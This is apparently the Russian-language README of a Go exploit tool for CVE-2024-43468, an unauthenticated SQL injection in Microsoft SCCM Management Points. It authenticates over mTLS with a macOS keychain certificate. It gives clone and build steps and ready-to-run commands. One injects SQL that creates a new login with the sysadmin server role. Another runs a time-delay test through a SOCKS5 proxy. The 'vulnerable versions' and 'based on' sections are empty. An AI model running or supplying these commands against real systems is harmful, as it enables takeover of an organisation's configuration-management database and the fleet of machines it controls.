
CVE-2024-43468 Эксплойт SQL-инъекции SCCM (версия mTLS с неизвлекаемым клиентским сертификатом из связки ключей MacOS)
Реализация эксплойта CVE-2024-43468 на Go, использующая связку ключей macOS для аутентификации mTLS (без необходимости экспорта ключей из связки).
Дополнительно:
get_cert_name.py для получения Common Name сертификата (да, это можно сделать вручную через Keychain Access GUI).Основан на:
Эксплуатирует неаутентифицированные SQL-инъекции в Microsoft Configuration Manager (ConfigMgr / SCCM), позволяющие злоумышленнику, имеющему сетевой доступ к Management Point, выполнять произвольные SQL-запросы к базе данных сайта.
Уязвимые версии:
# Clone repository
git clone https://github.com/nikallass/CVE-2024-43468_mTLS_go
cd CVE-2024-43468_mTLS_go
# Install dependencies
go get github.com/google/uuid
go get golang.org/x/net/proxy
# Build
go build -o sccm
# Show help
./sccm -h
# Basic usage (creating new admin)
./sccm -t https://sccm-mp.local \
-sql "create login user123 with password = 'Password123'; exec master.dbo.sp_addsrvrolemember 'user123', 'sysadmin'" \
-cn "CertificateCommonName"
# With custom proxy (check with sleep 5)
./sccm -t https://sccm-mp.local \
-sql "WAITFOR DELAY '0:0:5'" \
-cn "CertificateCommonName" \
-proxy "127.0.0.1:9050"
-t : Целевой URL (обязательно)-sql : SQL-запрос для выполнения (обязательно)-cn : Common Name сертификата в связке ключей macOS (обязательно)-proxy : Адрес SOCKS5 прокси (по умолчанию: пусто)